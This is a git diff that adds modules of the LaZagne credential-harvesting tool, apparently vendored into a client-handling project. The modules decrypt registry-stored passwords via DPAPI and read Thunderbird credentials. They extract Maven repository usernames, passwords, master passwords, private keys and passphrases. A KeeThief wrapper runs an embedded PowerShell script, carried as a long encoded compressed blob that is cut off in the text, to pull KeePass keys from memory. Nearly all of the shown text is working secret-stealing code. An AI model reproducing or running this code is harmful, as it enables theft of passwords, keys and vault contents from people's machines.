+ num = winreg.QueryInfoKey(hkey)[1]
+ for x in range(0, num):
+ k = winreg.EnumValue(hkey, x)
+ if 'password' in k[0].lower():
+ try:
+ password = win.Win32CryptUnprotectData(k[1][1:], is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ values[k[0]] = password.decode('utf16')
+ except Exception as e:
+ self.debug(str(e))
+ values[k[0]] = 'N/A'
+ else:
+ try:
+ values[k[0]] = str(k[1]).decode('utf16')
+ except Exception:
+ values[k[0]] = str(k[1])
+ return values
diff --git a/foreign/client_handling/lazagne/softwares/mails/thunderbird.py b/foreign/client_handling/lazagne/softwares/mails/thunderbird.py
new file mode 100644
index 0000000..a76ae9e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/mails/thunderbird.py
@@ -0,0 +1,9 @@
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.softwares.browsers.mozilla import Mozilla
+
+
+class Thunderbird(Mozilla):
+
+ def __init__(self):
+ self.path = u'{APPDATA}\\Thunderbird'
+ ModuleInfo.__init__(self, 'Thunderbird', 'mails')
diff --git a/foreign/client_handling/lazagne/softwares/maven/__init__.py b/foreign/client_handling/lazagne/softwares/maven/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/maven/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py b/foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py
new file mode 100644
index 0000000..ef36eeb
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/maven/mavenrepositories.py
@@ -0,0 +1,131 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class MavenRepositories(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'mavenrepositories', 'maven')
+ # Interesting XML nodes in Maven repository configuration
+ self.nodes_to_extract = ["id", "username", "password", "privateKey", "passphrase"]
+ self.settings_namespace = "{http://maven.apache.org/SETTINGS/1.0.0}"
+
+ def extract_master_password(self):
+ """
+ Detect if a Master password exists and then extract it.
+
+ See https://maven.apache.org/guides/mini/guide-encryption.html#How_to_create_a_master_password
+
+ :return: The master password value or None if no master password exists.
+ """
+ master_password = None
+ master_password_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings-security.xml'
+ if os.path.isfile(master_password_file_location):
+ try:
+ config = ElementTree.parse(master_password_file_location).getroot()
+ master_password_node = config.find(".//master")
+ if master_password_node is not None:
+ master_password = master_password_node.text
+ except Exception as e:
+ self.error(u"Cannot retrieve master password '%s'" % e)
+ master_password = None
+
+ return master_password
+
+ def extract_repositories_credentials(self):
+ """
+ Extract all repositories's credentials.
+
+ See https://maven.apache.org/settings.html#Servers
+
+ :return: List of dict in which one dict contains all information for a repository.
+ """
+ repos_creds = []
+ maven_settings_file_location = constant.profile["USERPROFILE"] + u'\\.m2\\settings.xml'
+ if os.path.isfile(maven_settings_file_location):
+ try:
+ settings = ElementTree.parse(maven_settings_file_location).getroot()
+ server_nodes = settings.findall(".//%sserver" % self.settings_namespace)
+ for server_node in server_nodes:
+ creds = {}
+ for child_node in server_node:
+ tag_name = child_node.tag.replace(self.settings_namespace, "")
+ if tag_name in self.nodes_to_extract:
+ creds[tag_name] = child_node.text.strip()
+ if len(creds) > 0:
+ repos_creds.append(creds)
+ except Exception as e:
+ self.error(u"Cannot retrieve repositories credentials '%s'" % e)
+
+ return repos_creds
+
+ def use_key_auth(self, creds_dict):
+ """
+ Utility function to determine if a repository use private key authentication.
+
+ :param creds_dict: Repository credentials dict
+ :return: True only if the repositry use private key authentication
+ """
+ state = False
+ if "privateKey" in creds_dict:
+ pk_file_location = creds_dict["privateKey"]
+ pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"])
+ state = os.path.isfile(pk_file_location)
+
+ return state
+
+ def run(self):
+ """
+ Main function:
+
+ - For encrypted password, provides the encrypted version of the password with the master password in order
+ to allow "LaZagne run initiator" the use the encryption parameter associated with the version of Maven because
+ encryption parameters can change between version of Maven.
+
+ - "LaZagne run initiator" can also use the encrypted password and the master password "AS IS"
+ in a Maven distribution to access repositories.
+ See:
+ github.com/jelmerk/maven-settings-decoder
+ github.com/sonatype/plexus-cipher/blob/master/src/main/java/org/sonatype/plexus/components/cipher/PBECipher.java
+ """
+
+ # Extract the master password
+ master_password = self.extract_master_password()
+
+ # Extract all available repositories credentials
+ repos_creds = self.extract_repositories_credentials()
+
+ # Parse and process the list of repositories's credentials
+ # 3 cases are handled:
+ # => Authentication using password protected with the master password (encrypted)
+ # => Authentication using password not protected with the master password (plain text)
+ # => Authentication using private key
+ pwd_found = []
+ for creds in repos_creds:
+ values = {
+ "Id": creds["id"],
+ "Login": creds["username"]
+ }
+ if not self.use_key_auth(creds):
+ pwd = creds["password"].strip()
+ # Case for authentication using password protected with the master password
+ if pwd.startswith("{") and pwd.endswith("}"):
+ values["SymetricEncryptionKey"] = master_password
+ values["PasswordEncrypted"] = pwd
+ else:
+ values["Password"] = pwd
+ else:
+ # Case for authentication using private key
+ pk_file_location = creds["privateKey"]
+ pk_file_location = pk_file_location.replace("${user.home}", constant.profile["USERPROFILE"])
+ with open(pk_file_location, "r") as pk_file:
+ values["PrivateKey"] = pk_file.read()
+ if "passphrase" in creds:
+ values["Passphrase"] = creds["passphrase"]
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/memory/__init__.py b/foreign/client_handling/lazagne/softwares/memory/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/memory/keepass.py b/foreign/client_handling/lazagne/softwares/memory/keepass.py
new file mode 100644
index 0000000..4df5b84
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/keepass.py
@@ -0,0 +1,31 @@
+# -*- coding: utf-8 -*-
+# Thanks to the awesome work done by harmjoy
+# For more information http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
+
+# Thanks for the great work of libkeepass (used to decrypt keepass file)
+# https://github.com/phpwutz/libkeepass
+
+import traceback
+
+from . import libkeepass
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Keepass(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'keepass', 'memory')
+
+ def run(self):
+ # password found on the memory dump class
+ if constant.keepass:
+ res = []
+ for db in constant.keepass:
+ try:
+ with libkeepass.open(db.values()[0][u'Database'],
+ password=db.get(u"KcpPassword", {}).get(u'Password'),
+ keyfile=db.get(u"KcpKeyFile", {}).get(u'KeyFilePath')) as kdb:
+ res.extend(kdb.to_dic())
+ except Exception:
+ self.debug(traceback.format_exc())
+ return res
diff --git a/foreign/client_handling/lazagne/softwares/memory/keethief.py b/foreign/client_handling/lazagne/softwares/memory/keethief.py
new file mode 100644
index 0000000..eb1f75a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/keethief.py
@@ -0,0 +1,3645 @@
+# -*- coding: utf-8 -*-
+
+import json
+import os
+import sys
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.execute_cmd import powershell_execute
+from foreign.client_handling.lazagne.config.write_output import print_debug
+
+
+class KeeThief():
+
+ def launch_kee_thief(self):
+ # Awesome work of harmjoy (thanks to him)
+ # From https://github.com/adaptivethreat/KeeThief/blob/master/PowerShell/KeeThief.ps1
+ func = 'Get-Process KeePass | Get-KeePassDatabaseKey'
+ return powershell_execute(SCRIPT, func)
+
+ def check_if_version_2x(self, full_exe_path):
+ dirname = os.path.dirname(full_exe_path.decode(sys.getfilesystemencoding()))
+ # version 1 use an ini configuration file
+ if os.path.exists(os.path.join(dirname, u'KeePass.config.xml')):
+ return True
+ else:
+ return False
+
+ def run(self, full_exe_path):
+ if self.check_if_version_2x(full_exe_path):
+ output = self.launch_kee_thief()
+ try:
+ output = json.loads(output)
+ except Exception:
+ print_debug('WARNING', u'{output}'.format(output=output))
+ return False
+
+ constant.keepass = output
+ return True
+
+
+SCRIPT = '''
+#requires -version 2
+function Get-KeePassDatabaseKey {
+ [CmdletBinding()]
+ param (
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [System.Diagnostics.Process[]]
+ [ValidateNotNullOrEmpty()]
+ $Process
+ )
+ BEGIN {
+ $EncodedCompressedFile = '
+tL0HfFzFET/+7tVrknUq72TJlmSDzOOMjTFgJLkDppgSMLaRTDEdrIAe3Nkk4ZAxNYQYE2roJKQTQhLSQ0mDVIoDCUkIBtJpISG
+FVOTffGd233unYpzf///zx7q3Ozu7Ozs7Ozvbj1jzAcMyDMOmv+3bDeOrhvxbYrz9v030V9/59Xrji5nHp301dfjj01aeta7SdW4
+5PLN88jldp548NBSu7zrl9K7yhqGudUNdB77jmK5zwtNOn11Xl91VpXHUMsM4PGUZJ7166bE63RcN08il0obRlzOMtMD+3U/uLnK
+clBPq4DaFbsOIv8aHcgzHP8tYcrlhNPD/+Bt9+N+9lO7hhqT7cWe8QuaMPOIM5IwpO8ET/S9N+OkkgOg9JOGdvf70d6+n7/m9qlx
+9Md2JKCfNLlfKp5KbaUPZXfouyNXgLaH/s8unnx0SYl7RzGntPwZv/9F0gibTcIyur5nGVXeljRT595Nc/qd/TXMmGZ+mL8UvVLa
+1Gm62Qs5szq0QIdnhfxQM261YcL4JZxUAK6Ray/acRdEEEFIhsw0pt/omhxIR2b7lHCoAjwCmFVZNw82ne+dQiGeFxOVs2nKr/yS
+U7j6fgDPc7hH3eaKhkqGw7rphBGXCQ2zDVflkCe7PucorGSkiocMMiFHZUodZJZrt0lz5hnkAKb3lZqUOlAOoUI0LLFSYUSbYuZV
+6Al0gkaxw0tuEN3B4+xzPOJV5bxQUam4Ualggd7ZnGoU1GkEjuOn1NpHP8kL6ZHuJHUYxv61DEJoJNOuZbfXsG/EpsD1sIdhzfil
+N5WxAXlONfY42gJEsM1pRabppDbODw6qWhlkxzNYwO4Y5GubEMFfD3BjmaZinYE1zphvtKbRRkhcfBTWDIn3CVpYar9xN3DBRKDe
+YDHgb/cwg+DEMbxwDP5PhVLFuvtEsX0S+oJ2CapEuB3gKIFMB8et6lkG8yrdwZKpvN3MNsSVVvguIHYgfY2fMgJjoFgfm5znSxwh
+HhRT761To3PvdsBMwMyA+u31FoHrlT0UZMyk9UwX8KOcLxKBrFLHhNJaTUfKZ1nxMx7zNaFgmhmU1LBvDchqWi2F5DctH9dJppFO
+sT3dUL10T8L91Z/nfNg7/p7wt/zt2yP+OWv637YD/02P+B9OhVRg73GXcShhVB3WaZ3UxH+s1rD6GTdKwSTGsQcMaYlhBwwpRHXQ
+YFtWBs+M62GOCOtj1/0sbmPG2dVDaYR2Uausg2Nk2ELxNG3BL8hfVg4Vy8rdb6kXgTXNMYx+DO7BCZR59N5GqsMu/QN4zwEo/11P
+gjD9C1ZIKesg5wyv25zx3y7q5L3Ndt89pNH6LzoXSMIP5hJF1w93QZSx6ksAbA1RD1/ZJnYZvhruDZupZ3ZzHAeBAtrcTeJzzyyg
+eY21uQIYzUbw9Cd8NqQKz+Z5FUNhmMAtwC0I4m1x1PSRcRgaIWa8Y9KJWwjnQ8K9u45Bel8NZwVPsvRD0NVH+5oifiZT/NnC5yWZ
+aCnY4V+c+0uYFS1H259xSah/0De82Oj9oIG1yn2wcfb/0E4Yx2bj3UaOFOpyUSe5vPStmTdOcgvEtg82zgt2X18U1OfGSZYaHoUI
+PZt6JZ8u6oA9ssjwG55lbdRZ//LR8Gq3gIApLMLIhYuTBKRI1Tr3rJeJTsDearUr5aghsk225Bbt7y7pGJyA7x+2FjUluKl22YG9
+ZN7gEnadJXDgSeSTIhd1io0yO8XWwlcrUtZoaICfbvZWi2cG+EJ6uL8fQZg3NNecDkrRs2xJ0yG6+B6aXl0+3KURfI/rB0RRel2m
+ZPxmEBPuhlD1c/Ewb6jjbw4bAZ6iklT4YAlEaLbVpNFFdtswHbyzIJyVQsCUF6uoNkeEFxlmwt9AOFoD25lzZMo1z8yKMXUd9h3h
+4bApyG55Mn3AhQftakb9DaHXMHxZANyPEJPCKiyZF9XKqqepFwv1wEWSsCNQzLSE13EwWW1870v4zYTc5Io4ORys4kjyhXU1o4WL
+yNLk9x8IycsMl8HkFu+Cx2deULqR7FyAoHS4je65csqhhLwXpM0xN0WpLUYRoQQptan8kk+k5EhKRCQ6Aj2SikJVEc4WcpHYfUjs
+QcgfZKeTKpk1JnUpB3YR7PX2b8oV8MbyWXOtJR6XylNoytL1PSdvLjPiToraXZoYzdb1XpjR1zZRkWvTguDQuTsU01lFoHdMo9C2
+3NX2To/Qus1VpKw4kox5REglO6oFIN06SBBsotEEKXSgUJNEXo0R3QaEbKMBOBwuQWGOhsbcKYH2hEea423MOfCpiqzNexIWI2FR
+o6t1fIjZJxH0SEY+MInYkIi5CxOZCc29GIjZzRKIcDO7r2759u/B4UpLHhXoMIlz/AGgll3ykP7KqUvq+NKLj1NQLiRVUad8db1E
+wBLngsi1NcA4Xvm4mIoHnboOx0NQiMttSo0JZC3vhGSTspEeX3iDDrgxx/2T6DtJXKVGGj5B/K32fMGvh1N6NVfRnWrXwL9LfOeS
+YRvBJRvwPOPMIdiD9tYA21s0CP4xgA/RXp3Cb5uxq/J2+OeiBItSxVf6Ao4XaZJmeQd8P0Pdj1EJTufASVNE9EY6ncLwYJy84D0Y
+4aYWTjnHqSHmwnNmMnAmH0HqcguMvyoLXTmfDCb2gurlUcER/u36T19PGFVGgJp+hNn8ukkPg7QXqpEkReAVn7ouuA8vAdanCpuJ
+rZfyQxID7m2w4mYMcmCBuQrfvarxl8Pi4gGEh+PDEKD7kPGnZeav86x2xqG508TMKJxPjNNnQe8wAh9HJxxwgohUH3AQHXOGA5ze
+le6AnqZzpgkONNZ1kQZpYQAqw4M59gVjQwuX0wjpmQcFO8iCn2FPAN812FMaMSX5MMWDM1IEfuwg/dljo3OhCjycXdpqLLAxKS4G
+JD6rAdqLAthTY8UnVT2Z5KLgZKlmyuC4VlwpRsOf+ioo7S1XrblzcdLK03RxkhzOlhCjf7Mre2vgroV9fJe2jYLJtYZExcgh6QYM
+aeOcS6CKyUxJmB/fD/3Z0P2y6FuyKFJSoK6P1Fa4OjHga26CS3yTkZ/nX2lDHM7M9c9FfK2MlZ7qeDzKWw8KzAmLLTOaNW0IUl4L
+6JZrrLwb3XHPLOgIO7PVQi85vo+Snpg/ud6PpA2v4cNDRZ1bxtezwCLajF5kjLSQ07aYVHKnGMu/AF2MPdkBnSZqm1d0H3TYjOIp
+8w0dz6KBZhWNSKliBj8mf8BgOu1VBN5MF0c6zFDXI4Upg+SXj66a1kXiT7eZRwYyNq8k94h5Lv5V+gDch0Hbq7WCA022ak+Z5pQb
+I6RrYMa4zfBx9XXv4eHzq7eETQDCTXTkR9pjnDq+N+fJIxBevCnAVsSXoqSTLTkJFMIbCO4HJFC6cDC4A4NU7DCr2YKasZfgU5O2
+NuKfqEgyfZugxy2qzikTN6mlcC07ldGEy5GMDZB7ywSiBhZreeOYYxpyFZNcxYxBYGUT5JEGyt95JnzzMX4ws6vwmuweGeIbUhn1
+nwabWQ44MDWv+mHHTARE00w3PUfWs5HVI5CAI8c2aJaNt47mMcYo5mntmQPbFTMRd1DlSKYMmc7gC5PFw3QTuBsE9X9qGxXOOjZj
+38hc0It4rFM/i0VFz5V0cfdAa7M+6xcGBLur1LxpcPAGaG7wfDQZlWUP5bG+F6hombLvbGt6/EaPpKybOxAo8IRJx3yM0XoCPNVx
+VsmcZ86R/LVQuZNmzhofB+upwJENvxoV2R9yNqKSLUKNpSRu03TOGP9aYuFaQ4Qig5RKh5VKh5bIaWppBy+WKliuYlisiWrJekpb
+3gpYrQUt2J2hJxLXQlhQt7xdaNgstV9fQ0gJatiharmFarpmAlg+AlmtBSz6m5fVxst54faIN3MBt4EbEvYnbAAKDOqQAGmj8ZPi
+g4WZFwy1Mwy0RDVNqaLgV6dwG9YIZt5nSRv8yET/iuLYA9k9QaQeTlHyfTzy6Q3h0p/DoLnzs4Q/pti68KoLODys672Y6755Ahj4
+COj+Kkjb8rzJUiOrtE0LTJ4WmT0X11kVxWkHLPYqWT0NDUa73ItfPRLnKGLLOOM/ADADpqTFNfAO1gfas2wtzxQ3vI5i/EFa0FX4
+WudFA8HP4muHnWSeLyZ2LEHrEdL4fKoynNLQxLUMn1lE8Z73EmH6KmLNzzY1fAIGNivfzqMTUNmdilhgACv/KuOEtAmifM8kgATX
+adlgenhoMv5Yoz9e5PN0MKw6ED0ixHkwUKx/h5bftyaV4yMAkjhe7BXPWG5nxSytlPdjo3RSV9WGUxR9dlmJU1m+NG96qy5oxqL8
+y2scta/gdrn0mieeq3PARFEcNjJjs/DYEVB5lWQu/G9WTy5S7Y+qp1Zh3ZET79wyZyaulrS2i/Yfjhrdr2m2DWjrW2wqVx5ScPg4
+5HV0QtwqwvwDqonwSNVAB1Kh5rtec18tcl/DwCW4PEPsnIfZbDZnkFEnKb8MsyIwJ0lN1ZRjHG1PfY7QGsGKpP7+YIFNB71OK3qf
+Hp/dpphcGXWNqpIU0YrtXEhLz6d4AjGWUdPgT+l1ci5eWsPCnLIBE/DMg/mcR8UrMWV+M1ydPTfTJvxD98Kzuk6GjOkD/LxX9z7G
+Oem4CHbUNOT+vc/6fdFRHpKNeFBp+JTrq1zU6qhO0/EbR8lulo36HXH8f5SrjmLRBtivijNemdyfKsm4fSm36G/+Q6Fte4r7lZaT
+4CvctCAw6ka4bvmZoGy6SzS4pJ/Ijk9iYNn5+RclvJuc3uPH1RIZ/4gz/jAzf4AwRGEyTDP9iqHWGKL/pkp/m6dneKJ6+O9lf7xL
+x9O/C0zeFp/8wJrDlKv+U7onaIubRZ4b/Vv7pZjMm1FlOzhgbz8IkuraZ3pK8RiSv7ZzCfdSFG6m41KkUSm3Sb8UCeBMCm4PdkAp
+wnQSuy7gecNOMi0BbcGlUZDdjlWBmifulj4LW8erAGm3aq+77iohfTiWTwppKmKVPrmd/1sM5cuetdJinb52bCevou55UfDts6D4
+0+EylnmBNNgaak1KYUqbRbgM5wgL9KPX+5bHKnexT1o9LjZU3in6cYVrNwe7CR/CgKcGDZuZBC3jgMw+amAelmAczOeKb/xcFp+i
+OYqEhae3BHrQ5GvEYu6DNTQZvaHDVlhpHf43Jw60Cb6yB5GA9YyY12SkoyVT6CWZHNtdsENIc7Cl2nG3QWMLYFXl3pWR8N22n8h5
+TPrc6bVxibBpNBkLOdJCzC8iZE+utdmrTNLoyuncgTx+P0wt3TUWdJ48FpY90sQgzsxjM5XHWboRjYY1iZm5sr+np/n53Y89+kYk
+m6q+hNfCPKN4YJGRid5aJEkifyTKBQCxrKH62z8kaFWCOR789mn5nNIMsagqzuCk0sNTORlOw3XS4J8qpBPulsYLtEAtSrCe5LAu
+M6Scm5Htf4W8fqQzqW2baSqtgfQ7Z7AZaG42RFlLn7S6WQkSfj6tzemKds2+Kdc68FOuc/VKylyJtnEGRgh3UX6ILCntQLp5odMN
+eFNzywr6Usnv8/LYpHMLFfn5s5RVLvMai6m+PVVLmdrIBqLYJMq69NT8WmR3JQ6uR31XSi/qBXik787RP90Euzx+U0GYWqfa6mL7
+UVS4Zr+m4VYT2ocTmho015hDww6UpNnAZS8947E9uThQd7wGQvQMhdfMTNgbTtCC2rWlAAxnW5f/cxF2WrXM5mNJsMM3wEJTC4o8
+2QiexpMHpj6Ty2w6OvLqaSMIM2w0PZe2L33A5/cz65ra2MSo4yWxf6m8K+L3YWHaZXvPsMQau1W3RNbA3aw/w97CU2CCHj8fYrdS
+TtwdHgDFH0k8vbH9z4zsSbfcobrtHg38ruO0iUGp2If00sBG6EsGrELAotmtsA/OFs0DDsaqO+8ejwbQohQGksAYpLI71GvQ61rF
+mI43jOI3geFTrCapaT0SstSlZwJ4Z2R9LQd3+WtYkjT2RximSxqlI4zSVxulI44zx0zhA0oC9eZa023WQNJabAyXs/rfX86QO/co
+7U2KfcNxlE8U1x4lbrJyTjHuQxB0ah4+2Hx6MUMY7ZAd4xfBQhLbPaTZuThmYQy5UymxTvK2xVqmwiNuV9eDbBnDyfHBy47sSQvN
+uFpr3AOMCFhoEYqZ4plutMl60ze1CIA0Dlh9GUDo4DObcRpgxvHUsE14kZkv1fDZaHGpN4Sa0GbJjLqav2lfws7H7CqyNl4wh6tK
+YqEtioi6rJeryBFGXjSbKj4lyFFGOE14RU/LrsZR4mM7SiXJiG68cQ9r7gHAVk4bA4HCWR27nNxh7f0+3891TwdGpuJ86IraHipg
+WJw/D3xHD/ST8qNhuuyZBwgeYhGtBwnVMwjVstx0d220rItuVRnvGXv+3tusNLGfhjdxht7OOuwkdtkvG6weRZzq8GbrwllRklG4
+bzyg1dB+21Jg1FPU5mHlvDo7Rbd9mnT4X8n2b0kG3p2TS/Y5YFz04Wty/nzDJbo9Msp+MNkHeTKDdMY7l5lpOvROsJGKG71Ta5i4
+w+EMgYcT9MNx3o6ZXxTovKsPquAw3UbJ7owwf4zIQ8R9P8QLCJ3ayDJ/YuTJ8fMdl+KQqw6dA9z2g+9iY7i163aXyaQTfC8XwGUS
+o3AfnZ1M8Ts/AbsL+pkKjYYWfQxqfB1L1M9z7h/ezB8hu+IWUHsOCB7Bp9uX1BqBaFURrNMIvgmRZkpN59LmCEH5J6UzExYzYvAn
+iQqaCfh7E5jxVluVJxPArnBJst69KH/C1FNtuX2d4n195QMAPsr/DDB5K8ZpESANBN9rXhRWaDuzYsYc78XGGu/ChupzGu+YwB3O
+osp/LrWnj3LarLeyc8c0qovEMzt3dRbPaGftazWpX7JtsVqdFvuDhVLxOQmPkZmxn2S8le4U6zOoMvWdvRryPbzcN2y2GBRoWxLD
+dZU0yz/vn92O+ApR12SZzg29EdZKVvXNmtYTtwNS9u2bQCEqyLtYrBRO72RSYrHi38k0CXsAbklS8AQQto5/5LJtLiDmVb6Vk/aQ
+tpdZPIFtXUnAP04N41npsC6tQ1+NmrQ3XmobZiw0GpoS6lbMnUdStAwQXA+jb9CNLm25I/ZrbRabLn/1mb8s6L3wT/mMNb9OS5kQ
+Sxa4GYlWlK49FTwXzu17PaZjQlTW+Q3F6sV4UfCel12a/mI7aq7CBp2ql8Hbf1fA0Go2pRrPRChZZhjuDWEejdpelYQksdU8BIBB
+LIOJpBYBMLAFXMwoAsZjfh1wfSwiWq2XK0+KU1pKUSQiRYrUlrFbtcapBY0iDkizsXEVJOFlqbu9eowWiWde8cs6Mnbvjp4lkRdV
+o5d2oTDNooE9xydjalJDW2pCPeRwSMa+Vt7n5uZ7DWPAieNuSPWIAmNo3JfaDhVzbC3jTeq5nnMyVz0tEScqBw3td5vOeTCBksct
+9F0pF7RLVNm+ex2Hc14tKtYMCWFJvB034OkELfZwiBq8utcwS6xFnmJvlqHX8ZsOhelrAe/TRIoslawONY1Wf0ZHRFWStBxSzQdj
+uyFzkPX6Nhng2kwltjvj4DR+BZlERUI5cgoce/85vixiXbzQvjAOCRxE3wWKPf0fhxwE1+F0M7hqLHwck8REyjUOmRSGGXjeu7qn
+12p6xXpujYXNi2F4atlcE07zNROdpdNcX7IoasYMuqabpWjdROnN1OnPjtPfWsL1j2D4atk8M21fD9o1h8zRsnoJtNKv78YbQ3ZA
+5t5yhSoYURzG4xCE6MCbELreFLH/zgFTthdZuNILvaoXtl8j3vajf7eB5Fbd0j1ntQXvIcdNFNqytBFrSqbHHAE09iqb2OQXj2/R
+dxDqZ42HTQUlwe1nxXwgimIJeDmvONud2XJSc14ezRNveiehe+F4ChT+lnyr1y7Y/YlW+D4MDyXrQno00KnofBfMev0o3S3gaU2C
+umwlRU5gPRVWZLhO+DXs/ZtRYnNdS9OfUmBuj6kvuM1yL96ztYVz5xXjMrQ8nmdX547Krj9mVLNyFAIUHw1kcRiSFJHK6iHgJrwq
+LbIk+LXDD+ynbwTU+QDksBp9beZew3ToftJcPoiZeKp+LX7M4H8sx5TvJ0wMOlr9Mrmx5K/1O1X0CdQfW5lOJWOoObOWY7CRNkDY
+naYK0O0kTZIozxgRR8r9Ay+uCWIYXathCBVtDTahPmtBCaUKLuc8BHxaJ7bRYbA8b+whwHqxgVj7AVepi8OAGq2J7wGZbcynrPu6
+1x8E0K6ebhtssHuY51g9WKTuJaMO439V2JFLZn/O8NpGSoKj5JD/olwjAJwPCOIDwm7PU6eSZhAehMHme0qTujEZabneOU8l6bpQ
+X0jrfrB4QCVGli/rA4QNYPg4QZoFvB8S8PFDz8kAFoz53GeJztmZldySwjBNYxhhalp43gzMpWzVo8LOJDUUHCcsPxseswhceSKj
+Dh4osMgRnzThkeWxbHpqEL1Pw9jndBrVy40DWBYeg/UujgLNU+YGMCk9Hh/9DHhqekkLT+xGGhmlWQ8FjsMYfxxg8U94jqzcm4xR
+dprxP5O9i/0GRn5c+yqu1vy9L6aoEn6C0ymcj5EmeYijYbIr1Yr9NgcahsJeDhaR4+nDCtLnJVulg529fS5wP+6EFuGJbmxzeBl+
+kL+L5TY4k1eQWHDM8iZUafgtuMB9gr+DI/ntusq28MatYi5IWbhY8AVeWAJgpZNJiIpWASh6YTuEe7CmkMQ/OUOSNOWPXNQtOmoL
+syhSAtkYj7L7rsdF4zCDbdMMfQ5cewnKDX2xqm6nqjNrWFNnni/k1MrMNGmJH+3YPEop5MItpUTn7UoUwlU4xq8shmy73nWXuPZY
+b+uxQhvceLmM5GRcNR2BmG3wEhkYlJokHdKm1PyZmLPEIX4b6l4K8dCk6H/NYc2xnecbRoDPOZxnLI0vtQWDy0zza3rgN27HULMl
+z5B5xvzeZQn/CsyQIDH/KA+PwGfBKl0ONRTm1/eO2cbhqO0fgu8WsHomMC2JLArYe45ThI5nh+C09ZVZ+hnTfYeizm6a9AQOb4SM
+Y6QitJMqb0XZ/DmtO+Jgz/kbfg1lfjUrCSpyYANfKf6G4PvcBYvMfRUJ/Aanhfek7fBhnhN/EBlPQXJ6dM861+SiAisFY5X4CBws
+sWKeVKjQGSr31S5Yeaf2CftbD22iULwPuszwgF+40psK/Tsb5WFFd3pjCYlKw/ARFazTLZCyfG/wypY54ddlG98WVo0GJ2v/jGRc
+afEa4wFtF7fA51CnvMnTDbYj3fIoPavE802tjVzYkz14mhZ0SIcmOF6AyBAHAYB+M1raxcgtepLDn1Bxe3ugo6Tk8w1i/HsezMN/
+DhFnhr1Jqv1WO970k7crho0QF48ODLOxntU2L1WWwBnMzK5g/+N34QkJen2d5/WEsrwgMjkusgaCfwpDsUObR0VrJZ93iwDJoLxA
+JYwFnGnjLU7Hkl9pLld9A0KI0XOyxMpbzfmHbISPyUpykWSz7gWtwy5KJ6IUjCUtWIH8Ty62NPts4bAJ66hQ9UL892OdidZ12hWG
+sLFldh6fk+4h8/ZVxGTO8vkbiVfCzwqYt64oDOT5P43r9rcflBZpmjVKXSWoU8WSSGiVTUhhLwZZ0sT/bY7NjIOd6e93XrOy3Pku
+VAJ3gyhLrHOy9OILnAtCdNaQk37EqLerx6qxMMfwtZAx52aLfViVUmvBOyjnZ+DUhHanKqRjdaGB1ScS63nZX+iWyszbBEPF6P89
+yy4KF0bjH+XrckXhc4mLoudwaJba/sqWk8E9kPVtycSKsdx24Et7oYL+85TGNv7ysycmweV5wGp3wDtjgmISYZAa/Q3eLk0OOE/4
+acfjcAHe7biHdj8MD/Qev0McFnLkv19sOkU09V3gToQsZsezBsn/HmDIfUltmFUn0MotfcJnSyz6SJ4fv+IOr6NtW+T1LbKOSoeW
+jZXZGKcLRX5wn3Ea4R7HcRgylOMLBrMsjrBruucw9Gs9ISGIsk0/zaCYKAGPr6p0+nMrxJCxd/XoKB9xuoKCtx0W69Q/08zF4m+x
+6r2BXtxQMu3oC/bCoehlmYEtJhxxPPw1OEq/B8+qdek8Srk/79V7wEgwFienrNtWu7GHWU35IFLm1Oq9B9Fw+L3ru42b1RGhSHOf
+ceAy5iosaWfZOZM21Fjx5qJVZy3uUhijwaBmrGmpebvjkuAMbM2cW3MhawgofaWDBxlCtvA91D5ZMbwUvE1aXGXUQpht8mC0KUoa
+23xK+1Sh5o2zXjZ8ptRpE8TetjGyVLJ9xWjEhnUKVysvujTfe+znJubMrfKaR2xf6cNcfpMbzUAMDeIZJyHOYvHy6uIR7+lupWJV
+XUOp0L/YQp7seMIytEmbW6Tmd8tV1esd4elwWRPOT51PEY1CGC0+NBuPcoYn/VZlUuSZiFyYmw2+DYV4XDtovmRmR2miGqSYKMNP
+Ftf5ISsbiSKUmLT+G+1E7dox3UzIrmZfJvMJHGrlG+fjln6hMqkJfqy2Ny/p/PoYDbheJhDGwDP0EZNQf9XW5y5jvxV1aa2kydWu
+6P4SMruI1ivKh9ZF50pgK5qNr99Y3UvOK55KCr6Z4nr+6ylBndXAievWocoQ/bIyUQEfJLS6Bo61Uvp4ycMctkKHHozijoeQtzbQ
+dK7rOon728zxxEdwvE4ROcBtUtqZttSbgeNZe4UCDbl8e5gSN/ohGZUI+WR8t3G1Z5ywA/8jRYEGxro4U61ALVDB1aNqOpn7fGOB
+xrokZ6+AjaCULZFXGq/wRJpdfx2t9ZqbRDj7KtoGcd7T5+hM+e++l+/d7wQ1fFztI0vaN/xDaGtapp8RjRmaIGdzBTX7LuqsPoAr
+JVf6EsaLb+whrobug/b8GJyG4vhd8iHP9BMSgrueDCKhgrgGjPi9zDVKofrCB6omHTxHoJoB4eGW7mZvCAOMC3GjQ5Jh+hiDNfqM
